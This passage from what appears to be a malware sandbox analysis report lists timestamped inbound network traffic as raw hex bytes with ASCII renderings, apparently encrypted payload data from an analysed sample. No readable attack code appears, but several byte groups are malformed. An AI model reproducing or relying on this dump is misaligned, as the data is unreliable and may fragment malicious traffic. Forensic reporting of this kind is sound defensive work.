25 96 5f 56 e3 41 f1 8a 61 b8 b2 33 61 5e 4e 3c 59 82 3a 23 cb b4 c7 f5 Data Ascii: /FV,=UT<~0PkK1s}j%_!OJ4@bK<! so)}a1RjN`7R:c.kMNm*<r'lHG=*y',388*qk`oPc{EA-xC3jNflTO6nonhbd7W)]%_VAa3a^N<Y:#

2022-01-15 19:23:31 UTC 2187 IN Data Raw: 69 8c 4d 72 f3 37 ce 8d f7 24 32 78 76 a7 54 af 75 f3 77 20 ad d1 e2 ea 17 53 ad 08 15 38 24 e5 6b 83 b3 97 32 c5 fc 49 09 37 2d 36 b9 c3 8b 0e 80 91 68 3b 83 55 d7 8e 35 b6 e8 ad a4 63 66 fc f2 80 2c c5 e9 d5 53 6a ed 1f 6d 43 8c 8d 0a 97 67 e1 d9 8a e6 23 12 58 9a 37 57 e9 b4 bd 11 f5 3c ff b1 c3 eb 89 a0 85 78 f1 cf 04 72 57 c0 a4 b2 dd 72 d3 0f 21 85 3d 2e b7 06 2a 16 44 85 4b b7 e0 62 f9 bf d7 7a 56 fc 74 1b 9e 3c ea 03 84 df 32 49 2a aa 6c ce eb b9 3b 41 02 3e 4a 1e 6e 4a bf 70 aa 92 be 90 42 5f 21 0f 72 67 8f d6 64 fb ba 97 ed c9 5a 08 bc 82 e7 6d 79 c6 b2 74 a4 bc 50 81 fd 2a 58 2d 23 81 bb f7 fa 5c 05 b4 99 4b 85 fb cf 23 78 96 bf f7 f2 cb 73 96 ea 22 63 b0 dc 75 e7 c3 ed fd da 21 95 fa ed fc 69 eb 92 e2 50 81 03 0b 4a d2 05 cb 9f 71 af 3c 40 7a Data Ascii: iMr7$2xvTuw S8$k2I7-6h;U5cf,SjmCg#X7W<xrWr!=.*DKbzVt<2I*l;A>JnJpB_!rgdZmytP*X-#\K#xs"cu!iPJq<@z

2022-01-15 19:23:31 UTC 2203 IN Data Raw: 7f b2 1f 80 7c 2f 10 45 57 8c 2b 65 fe 1b 84 2b b1 0e b5 63 44 2a c3 79 73 a9 e4 b6 22 a5 4a 7f b6 62 25 9f b2 8a 3e d9 73 db eb 98 49 bd ba b2 bd 42 dd f7 02 51 71 1e 7f 85 2c af 6c b6 fb 76 b4 d6 e8 fc 57 79 f2 cb fe c8 4e b2 69 55 af 1f d9 2f ab 81 5e 9c 93 dc 95 4c f6 3b f4 76 98 92 70 44 bb 42 be 2b cc d5 06 ed c5 0d 69 95 5e 2d 4b 35 7c a1 5d 53 05 d7 53 d0 cc 26 7a 3a a0 84 a2 4a e2 77 ff 89 7b bf bc e1 bb 2f d7 87 04 c0 73 d3 30 93 47 21 45 ec 5a 24 d5 55 a5 14 33 1c 2e 72 a3 d4 26 bb 47 7b d4 ec ab d4 72 a8 02 fc b1 59 67 19 a9 20 c0 e1 2e 31 16 d5 06 be 0b 0a 14 e3 5c 5b 98 1d ba 45 0b 1d 17 76 52 88 80 96 e9 73 6f 04 1e 2a c2 a2 d5 89 27 d5 69 e4 44 3f 29 58 ef 85 86 f8 50 1b 27 1f 12 6a 35 e4 cb 50 19 06 47 a2 0a d5 87 cf 2e 52 32 64 83 93 3d Data Ascii: |/EW+e+cD*ys"Jb%>sIBQq,lvWyNiU/^L;vpDB+i^-K5|]SS&z:Jw{/s0G!EZ$U3.r&G{rYg .1\[EvRso*'iD?)XP'j5PG.R2d=

2022-01-15 19:23:31 UTC 2219 IN Data Raw: be 30 8d c4 6d 06 23 8f 1a e3 cb 63 8b 7e 90 21 4f 9b 1e 45 df f7 0a 6b be fd 4e d1 9b f0 fe 51 55 10 e5 55 58 11 f1 95 34 49 64 1c af 02 39 9c ad 1d 60 d3 cf 4b c6 45 e2 1a 53 5a 91 e4 52 d9 93 8a 80 a8 b4 7c 6e ff 7d 68 a2 b7 0f 6e 3d 99 5d 6b 4a 46 ad 24 bd 64 08 5f 03 c6 3d 66 64 6c 6e 03 d1 29 1e f5 43 a2 af 9e 8b 79 bf cc 23 96 65 71 ef 29 9b 73 50 3b a2 a4 8b e4 c8 17 d4 9a 9e 5f 46 89 65 ff 3d 48 0d b5 31 70 b4 77 13 fb 09 4a e4 a9 72 c2 fc 5d 17 9d 4b e8 20 91 9c 53 d5 4a fd 18 59 81 19 f0 27 02 68 05 f9 0b 67 b1 9a de f2 55 a7 90 5e 58 b5 fe 76 45 f0 ac 20 d0 c9 ec 64 22 46 1143 8b a3 13 4d f0 b6 fc 26 90 5a ec 53 08 09 83 65 66 51 2c 73 51 db fa f8 f4 f3 db 65 d0 dc c3 d4 88 c1 62 ec c0 7a f7 66 dc b5 44 25 20 a9 3d 85 9d 14 f7 bd e6 9d 6e 5a Data Ascii: 0m#c~!OEkNQUUX4Id9`KESZR|n}hn=]kJF$d_=fdln)Cy#eq)sP;_Fe=H1pwJr]K SJY'hgU^XvE d"FCM&ZSefQ,sQebzfD% =nZ

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 44 of 103

2022-01-15 19:23:31 UTC 2235 IN Data Raw: 95 aa 25 ea 4e 89 cf 21 56 de 6f 6a 79 e1 af 85 d9 e9 c8 9d 9a 8f 02 21 4f ce e5 68 5b c7 08 b1 ab 25 ad 23 38 f3 0c 2b e0 4e e4 9f d6 ac e6 8d 3c 8b 75 82 0a 52 08 d0 5f f9 77 4b e9 df 3d 05 a2 4a 90 06 87 13 c2 2a 94 88 4c 2f f4 74 2e 7f 04 9e ed c3 40 7f d2 64 71 ee da fd bf 93 41 d6 16 d0 95 21 48 56 92 23 67 d4 51 90 75 f5 9e 80 6d 51 48 48 4e ff 31 24 c1 70 96 82 28 23 01 06 76 bc 64 ed 6f d0 d3 2c 21 1b e6 6f d7 c2 aa f0 32 61 15 ec bd 50 f2 1e c0 3b c1 42 83 8d 80 d1 19 14 e1 40 b0 a6 40 05 35 54 37 ad ea 20 90 1c 32 7b a7 ed ec a5 55 19 9a 43 5c 63 72 9c 73 17 95 7e 3b 72 9e fb 36 1e bf 2b a5 e7 6d eb 80 92 b6 57 ae 59 2b 15 c4 32 d7 9d c5 db 1f 77 fa 3a 23 4f 0a 14 bc 81 18 b8 9e 2a b9 62 98 52 67 1c f9 9d c7 da 5b 17 aa b4 12 86 4a 1c 3b 05 85 Data Ascii: %N!Vojy!Oh[%#8+N<uR_wK=J*L/t.@dqA!HV#gQumQHHN1$p(#vdo,!o2aP;B@@5T7 2{UC\crs~;r6+mWY+2w:#O*bRg[J;

2022-01-15 19:23:31 UTC 2251 IN Data Raw: 00 ea 6d 6a 45 44 c6 07 81 ce b2 d1 60 56 93 27 ab ad d1 da d2 c7 29 0e b9 d1 0a 9e ac 99 1a 4a 74 d8 49 fb 01 25 15 2e 30 ab 0b c9 e3 7c ef 91 b0 04 be 10 f3 2e 7e af ad e8 7f 95 86 0a d0 19 14 17 90 21 2e 9a e8 65 25 e0 d2 e6 05 00 14 51 d3 e1 13 0d ce 00 9c ac ed 27 b8 c0 21 b0 75 10 6d cb 71 a0 06 ed 07 9a bf f4 e9 4f c5 60 b8 4b 98 68 c3 7e 2a 47 43 01 07 cb 9f 23 37 49 9c 07 c3 55 53 b9 6e 59 82 0f b3 d8 4d 42 13 23 04 fd 1e 38 c6 c5 20 a6 e9 5b c5 6c 75 91 99 89 34 7e 34 38 6a 3a 08 63 3b 5f e9 cb 00 c3 2e 7e 1f 23 4d b1 2f df 49 ac 47 56 37 38 5b f1 ce d0 56 32 6b e6 9d dc 86 e7 7e 66 f5 23 68 35 3c 46 6e da fd 47 bd 0f 3e 13 91 e9 69 ff 72 84 f4 a4 e5 82 fa 51 77 3b fa 3d 03 a5 19 30 ae 3b 6f 5b 0d cd a7 cd a0 ff f0 89 71 fb 5b 8a 72 9f c9 c2 ab Data Ascii: mjED`V')JtI%.0|.~!.e%Q'!umqO`Kh~*GC#7IUSnYMB#8 [lu4~48j:c;_.~#M/IGV78[V2k~f#h5<FnG>irQw;=0;o[q[r

2022-01-15 19:23:31 UTC 2267 IN Data Raw: 84 0c f9 bf d2 f5 52 25 d0 08 99 7c fc fb 03 5e 1c 0e df 37 ef 9e b0 bf 43 38 bb 5e e6 3c 55 07 dc 14 e4 94 a9 43 b2 a3 f7 97 95 79 86 3a 7a b8 91 99 b4 74 68 d3 ba 50 a9 6c e5 60 91 63 00 64 93 52 0b ad 60 1d 7a 51 51 4e 1e d1 4c 84 b4 a0 e0 c1 4f 0f ad bf 2c be 09 82 e4 6c fc 19 97 e7 c3 c3 8d 00 7e 87 4b 2d e7 b0 7f c1 4f 5e 42 fe 1f 24 4e b9 51 0b 2f e4 2e 91 38 ef 9e d7 ca c0 07 57 d0 e6 b5 61 d3 ea 50 40 54 17 f3 4e 35 de 99 4b 0d 9a d5 f5 7d 64 d5 13 97 e0 ef 12 b9 86 17 a6 f3 79 ef 9f 20 5f c4 a0 e4 95 22 3b ab 2c 3e 4e dc 9a 30 8e 7e 62 70 6f ce b5 38 b3 92 7d b8 16 32 01 0d 58 c9 46 4b f4 42 f3 5b 4c 7d 3e dc c5 5d c9 4a 45 1b 19 d4 43 95 c5 70 77 c4 34 ce 3a 47 ef 1d 7d f7 03 6a 52 96 46 22 e7 85 41 36 d5 e6 62 65 f5 75 31 02 2c 5d 8e 6c a5 19 Data Ascii: R%|^7C8^<UCy:zthPl`cdR`zQQNLO,l~K-O^B$NQ/.8WaP@TN5K}dy _";,>N0~bpo8}2XFKB[L}>]JECpw4:G}jRF"A6beu1,]l

2022-01-15 19:23:31 UTC 2283 IN Data Raw: 6d bd 90 80 b9 a6 4e d8 76 c6 82 3e 83 56 b0 14 f8 82 cb a8 54 b3 96 34 1b 93 2c 8c 2c a2 03 e7 d1 64 f7 fe 9a 72 f6 bb 50 ac 2f c8 c2 65 f6 d2 02 15 10 e4 63 4e b3 ff 90 5a 20 ff 46 8b 3c c5 c8 7b 5f 65 8b 6b 0f fa 43 7e ff b6 38 b8 da 87 ae 39 cf e9 48 2d 37 61 a6 9c 06 39 2a f3 61 06 e5 49 b5 ad ee 81 2e 5e e6 93 0a 03 97 4e a1 69 25 0c 93 11 b0 07 3b 6e 6d 56 3d d8 b7 f6 37 0f 0c c4 33 ad fe 49 93 e5 9f d9 20 35 0c 77 67 59 e4 39 52 7e a2 ed 88 44 79 5e 47 1f 79 98 5e 31 ba ee 26 71 8d c7 32 2b 10 9c 03 20 9f 8c e5 ad a1 d0 0d f6 ce 51 af 19 8f 7e 6f 75 9b 06 6e 4e 7c 23 72 2e ba 0a 6b 6e 7f 2d ff e4 d2 75 ff b1 08 24 ca 18 04 83 29 dd 93 f5 a8 38 77 31 d0 5e ee 5d de 5a c6 f9 37 d6 2d bd 5a d0 cb 14 c4 b1 22 ce c6 1a b6 63 3c 08 18 11 7b 14 be f2 65 Data Ascii: mNv>VT4,,drP/ecNZ F<{_ekC~89H-7a9*aI.^Ni%;nmV=73I 5wgY9R~Dy^Gy^1&q2+ Q~ounN|#r.kn-u$)8w1^]Z7-Z"c<{e

2022-01-15 19:23:31 UTC 2299 IN Data Raw: b5 14 d1 a5 4a 75 c4 2a 9a c8 8d 73 45 f6 1f 7c 4d 32 cc f1 1f 42 57 fd 74 0a ff cc ef ba c0 85 93 ae a5 95 27 fe e7 f7 e0 81 a9 0d c5 2a c4 67 08 36 dc 14 d5 84 65 5c 6d bc 0d ef d6 03 5d 9b 8e 23 07 86 32 9f b7 44 a1 3a c3 6d bc de c0 fd b9 d0 0e 47 5d 91 71 71 5d 30 c0 75 b5 8b 80 a9 3c f7 69 ca 63 f3 4c 70 b1 8b 57 ba 4a 52 72 3e 53 ab 9b c6 26 cc a1 31 27 3a c7 04 98 40 3a 67 f3 0d bb 6b 60 85 4c 94 36 40 e0 88 a9 0d c7 5c c6 18 05 8c a3 16 c6 98 0c b3 fe a6 d4 0d 1d b7 97 8e b8 b6 71 d4 7f 33 85 dd 25 82 54 69 e7 3e 29 2b c8 55 0f 07 33 0d 1f 49 08 38 32 46 c0 c6 ca ad bc db 94 72 0b 91 0c 47 07 89 8c 72 45 a4 58 3a 85 5b 13 4e ae cc d8 d5 85 d8 29 ae 5d 60 c0 f4 ac 0d 21 ed 80 07 af c6 16 15 28 6e ed 06 a1 51 16 23 8e d1 1e 37 3c a8 4f c2 91 48 66 Data Ascii: Ju*sE|M2BWt'*g6e\m]#2D:mG]qq]0u<icLpWJRr>S&1':@:gk`L6@\q3%Ti>)+U3I82FrGrEX:[N)]`!(nQ#7<OHf

2022-01-15 19:23:31 UTC 2315 IN Data Raw: 27 85 0a 47 a3 54 22 e8 4d ea b2 dd 45 51 12 ac 70 38 f3 10 c7 9e 19 42 a1 b6 2b f1 4e 9d 3b ab 3d f0 54 72 39 86 48 cb 29 76 82 bf 57 32 ee 87 3b 40 66 7c a0 2a b1 04 70 89 ac d4 35 2d 48 cf e5 a7 ef 8e ce a7 16 c3 f7 47 23 1b 2e 9f f2 29 eb fd 61 66 fd c6 4d 9b 1e 30 cb 09 f9 38 c0 e8 b9 46 15 ea 4f 55 29 09 40 39 d5 16 8b 00 40 78 b7 51 82 40 fc bf 1b c9 61 82 49 34 f8 83 9e 6e 2d ee 79 82 6a ce 2a aa 4a 57 01 e0 aa 6e ad e2 fe 6d f7 8e 2b 75 de 84 3a 79 00 83 22 c0 38 c2 77 ee 1a 75 bb fa 62 04 02 ab 7b 29 6b d1 0d 57 3d 90 75 ef f1 04 43 8c 6f fb a2 3e c6 fc 0f 6b cd 63 7f aa d4 ec b4 b3 0c db 6d 27 bd ed b1 81 1a 69 e7 7a d7 a8 c5 77 e6 fe 42 f2 c7 96 6d 14 27 a2 de 7c 6c 82 de 1a 1b 78 14 a5 da 82 ea 54 cd 5c ee 76 31 b4 71 88 82 a9 b8 74 e3 d6 3b Data Ascii: 'GT"MEQp8B+N;=Tr9H)vW2;@f|*p5-HG#.)afM08FOU)@9@xQ@aI4n-yj*JWnm+u:y"8wub{)kW=uCo>kcm'izwBm'|lxT\v1qt;

2022-01-15 19:23:31 UTC 2331 IN Data Raw: 9b 72 61 fa 7d f5 f7 e1 e9 1c 02 a0 3a 98 31 bd af 5c e6 3d 93 23 6d a3 79 e5 7e a8 0e d6 ec cc cc e2 43 f1 d9 25 8e ed a5 29 11 05 73 cd b7 1f f7 17 81 e9 9c 46 23 7e c9 15 47 9e 0a e3 12 ac fb 28 83 38 23 d0 6c c8 ed 84 6d cb 92 37 25 77 e3 02 cf 8e 57 81 3d 8f f4 a5 68 25 c5 14 34 de f3 8e 0c e6 c0 01 1f 97 e4 80 98 30 4a f3 4d 4d 3e 3a 46 42 f2 10 dd c3 00 8b 06 e9 77 f9 c2 50 77 8f 28 ca 14 1e 2b 98 3f a9 5d 9b b9 95 84 12 15 1f b7 20 eb b1 3f b7 8a 16 83 5c 5f 87 13d3 6b b7 43 e3 03 59 b4 61 2b 8a d1 ff 21 30 a4 b1 be a7 e2 4b ae 77 fa 3b 6d b5 95 a3 1f f8 d0 82 0e b9 55 ce 7b 66 68 25 82 d8 b8 0a 90 4f 78 a2 05 17 31 49 ab 52 d2 bc f1 c1 ff e9 1d b6 b5 0c 57 39 3e 8d d1 05 1a b8 a5 16 b4 77 ab c0 f2 54 01 33 9b 3d 0b 09 a3 b7 70 ee 75 86 58 1b 0e Data Ascii: ra}:1\=#my~C%)sF#~G(8#lm7%wW=h%40JMM>:FBwPw(+?] ?\_kCYa+!0Kw;mU{fh%Ox1IRW9>wT3=puX

2022-01-15 19:23:31 UTC 2347 IN Data Raw: 91 7c 05 d1 18 50 9c 05 17 bb 39 a4 48 00 2e ae b1 ff b3 cc 7f bf 3a 6f cf 35 50 29 25 8e a7 09 fa 49 83 b7 3a 88 a5 17 a4 cb 3d 4c f6 6e f2 5a e5 03 cf 47 ee a2 b8 ca d8 5d 0d 51 5e ed f2 32 d8 15 5f 04 17 5c e4 a3 09 09 15 12 dd ea 04 f3 b9 12 b3 04 7a 3a 4e 18 9c 6e fe 91 6f 61 19 e4 19 33 fd 47 af 0c e7 40 c2 83 5b ee 91 b1 e3 46 c3 b4 a0 3e 35 fd ad 28 90 2f 37 e1 c2 2e 3c f9 41 d7 9f 4e 97 f7 a1 ff 5f e1 43 28 12 b9 b8 f1 a6 45 47 6c 2b a4 81 3f 9a 53 b3 44 21 9c c6 ef d4 28 ab a8 a0 24 9a ac 67 6a 11 6b 27 c3 d4 be c5 5e b4 3e 2f 50 f8 9e 1d 4e cc f2 25 0c ec a6 34 a2 ee a2 17 3d f6 47 02 6c 28 5e 8d 35 c3 5f 3e 64 8d 2b aa 65 87 c8 20 30 bc 3e 23 08 e6 c6 6d ea ce 75 5c 29 08 06 b8 c6 b2 a7 ad 6f fb 62 c3 30 c2 18 da 18 e9 d1 d0 74 96 b6 d7 81 3f Data Ascii: |P9H.:o5P)%I:=LnZG]Q^2_\z:Nnoa3G@[F>5(/7.<AN_C(EGl+?SD!($gjk'^>/PN%4=Gl(^5_>d+e 0>#mu\)ob0t?

2022-01-15 19:23:31 UTC 2363 IN Data Raw: 06 b6 45 e9 f6 4a 85 be fe b1 a2 99 42 d1 95 20 df a8 12 50 49 42 e9 7f 52 46 59 5e c5 35 81 b0 ba b3 31 0e df 70 a7 7d 04 f3 b2 f9 b8 4c d9 65 fc 7f 8e 4a 05 87 b9 0b c7 1b a0 31 31 14 c4 ad 1a a8 5b f3 a3 49 ae fc bb 67 3e 12 e1 46e7 03 a7 b5 61 16 bc 95 9d d4 23 49 22 f4 9e 1e 2f 0b 04 ba 9b 0b 2c a1 04 10 8e 3a e2 b4 c2 26 4d f5 06 36 14 ff 09 a1 a2 3e 7f 2d 3c de 6a 68 4c a1 89 6a 39 37 5c 2b 6a d0 72 e7 8b cb f8 3c df e1 f7 74 df 0b 50 30 92 fb 49 9b f1 b8 74 39 33 55 85 57 38 f0 49 8b 5c 96 f4 c0 dc 5e 72 4c 1a b8 6b 00 87 60 c5 d2 f9 86 7b fc 3e 89 4f 70 d4 99 98 96 c3 c6 1c 46 22 d6 0b 7b f3 21 2c 7b 0b fa 86 cd bf 9a 9d c5 35 b5 cd b9 4a 7e e6 ec 46 a7 89 d1 8a e2 6d 02 9e 19 38 a8 78 ba 05 bb 7f c3 56 75 53 ab f9 ee 35 4a d0 a0 8c 6a 9b 37 64 Data Ascii: EJB PIBRFY^51p}LeJ11[Ig>Fa#I"/,:&M6>-<jhLj97\+jr<tP0It93UW8I\^rLk`{>OpF"{!,{5J~Fm8xVuS5Jj7d

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 45 of 103

2022-01-15 19:23:31 UTC 2379 IN Data Raw: 3f 3e af 4a cb d3 3b 57 af b7 e9 79 d0 70 fa 9e 03 c2 76 bf 1a 25 74 ea 3f 0d a6 61 e8 ca 4c 5e da de be 3e 7c 53 69 7e c9 54 9a ce 5e 2b 6c 1a 64 3e 7f 1d 8b 7d d1 5d 74 78 2c b7 9a d4 e8 55 b8 53 0f d6 f5 42 81 56 95 d0 51 7d 26 23 30 57 43 05 81 c3 2d 16 d6 c7 e0 6b bf 8a 28 0f 73 38 3e 36 a6 cd 8e 28 36 07 84 a7 53 8a c5 22 19 ef 91 a4 b6 ed f4 68 f2 1a 9f e8 6a 22 72 a9 79 8a 1a 12 d2 a7 16 55 a5 52 eb 7c 46 3e aa d1 db 49 2b 39 c3 bf 29 e0 3e cb 17 1d c8 2f d9 33 4e 90 0f f0 02 06 a2 5f 4a a4 d1 89 03 9c ec 6a 85 08 b0 e2 b6 61 43 5c 41 85 e5 16 c2 d7 a4 01 67 5a bf cf 45 9f 1b fa 31 27 a5 53 3d a6 ae a0 56 63 27 80 6f e0 c3 47 c5 25 36 32 4f 1a 2a a9 99 f1 70 5c 72 b3 77 69 3d 39 ac 01 fa c2 a0 b0 e2 64 5d 12 7d 89 1c e3 c0 e3 16 bd 32 ef 41 6d 7c Data Ascii: ?>J;Wypv%t?aL^>|Si~T^+ld>}]tx,USBVQ}&#0WC-k(s8>6(6S"hj"ryUR|F>I+9)>/3N_JjaC\AgZE1'S=Vc'oG%62O*p\rwi=9d]}2Am|

2022-01-15 19:23:31 UTC 2395 IN Data Raw: 6d aa 8f 3c 8e d6 05 e8 c1 38 90 a4 0f 83 38 70 f6 be c9 e1 cd 71 40 8e 43 d2 b9 84 92 41 b5 a6 67 36 e7 ef a8 56 dd a1 71 5e 0b 22 63 16 0e e2 bd f6 7a 2f 39 92 99 c9 60 26 5a db f0 e9 a5 35 c2 75 8f b6 2c 0e 08 37 3c 18 d1 91 c7 be cc 3c f8 b0 cd dc 41 2c 47 b5 3a 7b 95 f2 1e 0a 89 3a 82 5d 7e 01 b9 86 42 18 09 ee 66 c5 b6 0e 3b 59 0d 3f 17 ed b4 88 eb d1 f7 6b 3c 8f fe 61 96 4d 6a 59 ee 66 b3 c8 49 ba 5a 63 a3 9e ce 7f 26 da 7c a6 ef 26 e8 a9 e9 0e b1 fe dc 1b 60 55 69 58 67 f4 43 8d c0 cb ae 16 46 b4 62 4b 7d 97 7e 58 6e dc d6 e1 16 19 c0 0d a3 d3 b0 ea ab 55 2e 5b 31 1c 06 c2 58 1a f7 49 05 c2 9c 0a 05 5f 91 96 81 c0 a5 96 12 b5 c4 02 67 fa 70 29 69 77 f8 28 75 7e 72 c9 64 90 a8 d9 44 fb ce 0b cdb6 e7 18 ae 2a f5 db df 47 eb a6 b7 76 cb d7 f4 06 5e Data Ascii: m<88pq@CAg6Vq^"cz/9`&Z5u,7<<A,G:{:]~Bf;Y?k<aMjYfIZc&|&`UiXgCFbK}~XnU.[1XI_gp)iw(u~rdD*Gv^

2022-01-15 19:23:31 UTC 2411 IN Data Raw: 14 2c 31 92 a4 55 ad 63 59 a0 52 96 97 73 09 07 f4 fc 07 8b b4 9d 93 80 12 5e 3e 5d 16 b7 46 77 34 18 95 3c 48 86 5d 9a c9 d2 fc 0a 44 ef 0e f5 86 e5 2b d6 9d 31 35 7a 3c d2 c9 78 23 41 9d 6b 6e ff a9 27 b9 ca 85 f3 1e 27 5b 9e 4e d4 9c 2f e9 56 eb 40 d0 c5 5c b7 b4 38 0a b9 c1 dd 60 91 f4 1a a0 9f 4f e3 9d dc 56 1a 27 67 ce 9f 06 d1 cb 6d 91 d5 00 39 b8 b7 b6 b7 10 b3 4f 11 c1 ae 17 4e 0e ad d0 fa 96 13 9f c0 d5 58 62 f8 35 d1 6d 39 c3 1a e5 b3 b9 e1 d2 84 09 f3 9c eb 44 e7 85 fa 03 9b 50 f7 d2 79 9f 3e 84 27 f5 f4 e0 ee ed 5a 2d de 0d a6 19 e8 17 ef b5 46 6c cc 0d 28 21 73 f3 06 6f 2d 52 67 1f e6 fe d6 84 3c 8e 4f 5f 42 6b 0d 68 f7 7b d2 f3 49 cb 47 d4 01 96 84 eb cc ab 38 d3 4b 50 84 ae 66 97 12 16 43 4b 9b 07 bc 27 b0 8c 28 c1 4f e9 f5 c9 47 23 a7 b8 Data Ascii: ,1UcYRs^>]Fw4<H]D+15z<x#Akn''[N/V@\8`OV'gm9ONXb5m9DPy>'Z-Fl(!so-Rg<O_Bkh{IG8KPfCK'(OG#

2022-01-15 19:23:31 UTC 2427 IN Data Raw: 94 97 15 3c 08 c0 ed 7a a1 3b 25 0e 05 c2 f8 46 77 1c 46 81 25 0c 16 9b f4 85 b0 7b 8d 4a 06 b5 84 a0 6d b2 02 30 84 38 a0 38 2b 73 4f 0b 1d d3 cc f6 4d 32 de 80 aa 2d db d6 a5 0d a9 33 e1 30 9b b3 6f 28 c0 e2 ac a4 49 66 6a d6 70 20 4e c0 7b 06 f3 e8 2c 82 65 cb db f7 9e c5 61 92 74 0c 02 66 ef 91 a1 e1 79 cd 75 fd 3a b3 be fc 76 51 b0 2d c2 08 012f 21 cf de 35 f5 34 84 9d 26 a1 83 19 34 4e 5a 79 ff df f2 f9 88 c9 cc 5f fd ce 73 8e 73 9c 4d 8d c7 4b 6b fb fe c5 8e 0f 7f 94 8f d0 41 d4 43 c1 9d ae 2e 16 82 29 3c f7 03 af fc 18 8c 29 f2 c6 aa 4d 43 1b 17 82 93 85 0b 9d f0 60 03 96 b5 ba c8 e7 98 20 25 bb 75 94 e3 f4 39 d8 a5 c1 4c a9 16 50 7c c6 1b 3a ad 64 61 be 18 41 a0 1b b6 19 4c d6 b2 9e b7 63 8c 4e 38 a3 f4 63 28 ad 9c ea b8 e7 78 46 4c 02 a5 6d cc Data Ascii: <z;%FwF%{Jm088+sOM2-30o(Ifjp N{,eatfyu:vQ-/!54&4NZy_ssMKkAC.)<)MC` %u9LP|:daALcN8c(xFLm

2022-01-15 19:23:31 UTC 2443 IN Data Raw: ab 5d fd a5 2b 9d eb ca 60 2b 7e d6 ca 86 34 ca ed 07 de 82 f2 eb 52 8c 13 86 da ae db 4c 06 5f 38 3e 6b ee ac b3 36 be 94 f8 71 5d ca e8 fa 1a 6f cd 2d 2a 75 3b 6c a3 46 ae 6e b2 c9 d4 94 48 ab b1 6b 04 18 a4 1e bd 87 33 60 41 71 70 5d b9 18 d6 53 65 57 b5 0c 14 3a 56 61 c5 9b 45 1d 31 44 c9 21 4a fd 60 7c 9c 7c 28 7b f7 5b 9b 29 e9 83 13 1b 5c 8b 1d a0 67 eb 57 5c f3 2a 2f 38 34 4a 6e 82 15 47 82 4f db e7 3a a7 c0 6d a0 62 cb b7 25 8c 3b 4f 1f 50 44 03 cc 6b 14 0e b7 9e cd 60 32 e8 b4 14 be d8 0c 1a b4 2c c1 00 95 b9 c5 3b 49 70 9d 9e 44 3c 82 66 7f d6 22 42 d8 29 9f ca ad 37 c7 56 04 92 22 39 62 01 33 ca 01 a3 c5 7c c9 69 31 d9 59 49 ef 53 f7 b3 15 ce 6d 50 92 e7 78 22 2c 23 a4 87 6d c9 81 b4 ae ef 11 a2 91 d7 d7 06 fa dc d6 82 a6 63 38 1e 95 ce f2 01 Data Ascii: ]+`+~4RL_8>k6q]o-*u;lFnHk3`Aqp]SeW:VaE1D!J`||({[)\gW\*/84JnGO:mb%;OPDk`2,;IpD<f"B)7V"9b3|i1YISmPx",#mc8

2022-01-15 19:23:31 UTC 2459 IN Data Raw: 2a 14 7d 09 ad 2d 9e 0a 7b c8 0c f9 da c8 a7 b8 ab e8 48 c9 41 b0 f2 fa c5 19 28 61 f9 3a 14 35 f6 c0 78 9a 2e c9 a4 48 ec 07 af 10 c9 ff 50 4e f3 43 d9 bc 1b da 58 da 89 ab 15 9e de 34 31 68 58 47 09 25 6d 98 53 ec 12 3f 38 10 13 49 fa 5d 3f 7d 72 9f b4 b9 0e a1 8f fe 29 a9 9a 7d ad 3e 46 fc fd 2e 09 c7 3c 33 1b 64 4f 62 9c 45 b1 b4 91 78 c4 52 6d 9a 60 58 35 36 9a b4 da e1 72 96 11 42 9c 97 49 1c a9 8a ce a6 e4 ed 68 05 96 61 48 a8 be 27 c1 e3 11 09 12 10 da 4e 53 bc 24 ec 0a 00 c8 e8 fc c5 74 0b 29 83 36 ee de d8 e2 ba 89 dd cc 02 31 1f a1 8c 93 15 ed 15 dc 1e e8 4c 58 61 a8 b8 aa 87 a1 85 d4 c9 64 c0 eb 9f 67 2b 0f 1f 7f 2d 96 b4 73 e2 e6 bb 35 8d 0c cc 5f be 78 85 1d e7 18 35 1d 43 fc aa 3c 4e 27 97a1 1b 05 42 e7 75 00 ca 87 fd 87 82 e2 cb 0c 5e e6 Data Ascii: *}-{HA(a:5x.HPNCX41hXG%mS?8I]?}r)}>F.<3dObExRm`X56rBIhaH'NS$t)61LXadg+-s5_x5C<N'Bu^

2022-01-15 19:23:31 UTC 2475 IN Data Raw: 1f 0f be 9b b9 ed 8b 37 b8 49 94 4b fc ac 9d c9 e5 b5 41 ce bd c1 4f 16 ce e0 44 f0 ef 5e 00 32 13 0d 4f 1d a4 a3 24 6d 0e b3 f1 ae bc 9b be f0 cb b2 25 4f a7 35 88 23 23 3d 4f 6b 91 60 9b eb 54 24 e2 d2 e5 76 c0 73 17 1a ae 25 e7 8d 47 0e 78 8d 1d c1 21 79 4c 99 1c ae 00 70 a0 e6 7a a4 d8 05 ff e8 a4 6e 9c de 05 4d b2 d4 36 39 5b 12 6d 80 d2 67 9e 92 6a ab 64 67 be 14 a5 96 07 d9 87 b2 20 82 0f f8 9b c9 5d 52 be 85 47 52 c7 df e9 8c 83 3c a7 5d 7e 15 9c c9 9c d7 4d 74 e9 49 ad 66 22 1c f4 d7 84 4c 85 11 1f df ca 5c 80 64 1e 37 21 45 98 18 43 14 cf 3f 38 30 cc 73 2b 4d 1a f2 52 9d 46 66 f0 9d 21 a0 db 3b b3 f0 9d 3a 1f e0 7b 16 ef 22 c4 ef ae b6 9f 94 3d fa d9 03 5b 02 00 fe e3 6a 3c 70 c2 bd 24 b9 34 33 50 ac 6b 66 0e 03 6d 89 83 53 06 aa a3 36 a8 98 63 Data Ascii: 7IKAOD^2O$m%O5##=Ok`T$vs%Gx!yLpznM69[mgjdg ]RGR<]~MtIf"L\d7!EC?80s+MRFf!;:{"=[j<p$43PkfmS6c

